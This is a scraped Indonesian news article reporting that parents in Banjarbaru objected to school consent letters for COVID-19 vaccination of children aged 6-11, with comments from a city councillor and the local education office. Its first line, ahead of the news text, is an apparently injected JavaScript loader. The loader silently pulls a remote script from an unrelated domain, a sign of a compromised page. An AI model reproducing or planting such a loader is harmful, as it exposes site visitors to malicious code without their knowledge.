(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Vaksinasi anak usia 6-11 tahun terus bergulir di Kota Banjarbaru, belakangan sejumlah sekolah kirim surat persetujuan orangtua anak yang akan ikut vaksinasi Covid-19.
Banyak orangtua siswa tidak sepakat dengan salah satu poin yakni tertulis bahwa menyatakan ihwal efek samping vaksinasi, pihak sekolah tidak bertanggung jawab akan hal tersebut.
Orangtua siswa pun keberataan tentang surat persetujuan tersebut, keluhan itu terdengar wakil rakyat di Kota Idaman.
Anggota Komisi III DPRD Kota Banjarbaru, Gusti Rizky Sukma Iskandar Putera pu angkat bicara. Gusti Rizky -biasa disapa- mengatakan, dirinya banyak menerima aduan tentang keberatan orangtua siswas tentang salah satu bunyi poin di dalam surat persetujuan tersebut.
Baca juga: Krisis Batu Bara PLN, AGM Pasok 500 Ribu MT Lewat Hauling Pelabuhan TCT
Bahkan di surat itu, ada kesan orangtua harus menandatangani jika segala sesuatu yang terjadi kepada anak setelah vaksinasi merupakan bukan tanggung jawab sekolah.
“Orangtua, mengeluhkan bunyi yang menyatakan ihwal efek samping vaksinasi dalam sura itu bahwa sekolah tidak bertanggung jawab apabila terjadi segala sesuatunya terhadap anak,” ungkap Gusti Rizky.
Vaksinasi anak usia 6-11 tahun di Kota Banjarbaru terus dilakukan. Foto: ibnu
Politisi muda Golkar ini meminta Pemko Banjarbaru segera mengambil kebijakan strategis. Terlebih ada larangan dari Presiden Jokowi kepada orangtua untuk tidak meneken surat persetujuan yang diterbitkan sekolah.
“Sebelum ada larangan dari Presiden, keluhan ini sudah ada, tentunya setelah ada instruksi dari Presiden, saya kira Pemko harus mengambil langkah tegas,” tegasnya.
Menanggapi hal itu, Kepala Bidang (Kabid) Bina Sekolah Dasar Dinas Pendidikan (Disdik) Kota Banjarbaru, Edy Yuana Pribadi mengatakan pihaknya sudah mengambil langkah terkait surat persetujuan Covid-19 bagi anak usia 6-11 tahun.
Baca juga: Satu Tujuan Lagi, Zara Rutherford Tuntaskan Rekor Terbang Solo Keliling Dunia
“Sebelum ada kebijakan dari Presiden itu memang masih berlaku. Tapi setelah ada pemberitahuan itu, sekolah tidak lagi mengeluarkan surat persetujuan orangtua itu,” jelasnya.
Ditegaskan Edy, pihaknyasudah menginformasikan kepada kepala sekolah untuk tidak mengeluarkan surat persetujuan itu lagi, dan menyosialisasikan kebijakan terbaru.
Masih kata Edy, dirinya menegaskan jika vaksinasi anak merupakan tanggung jawab bersama tidak hanya dari Pemko semata.
“Ini tanggung jawab kita bersama bukan hanya dari pemerintah, namun juga dari unsur sekolah serta orangtua,” tutupnya. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.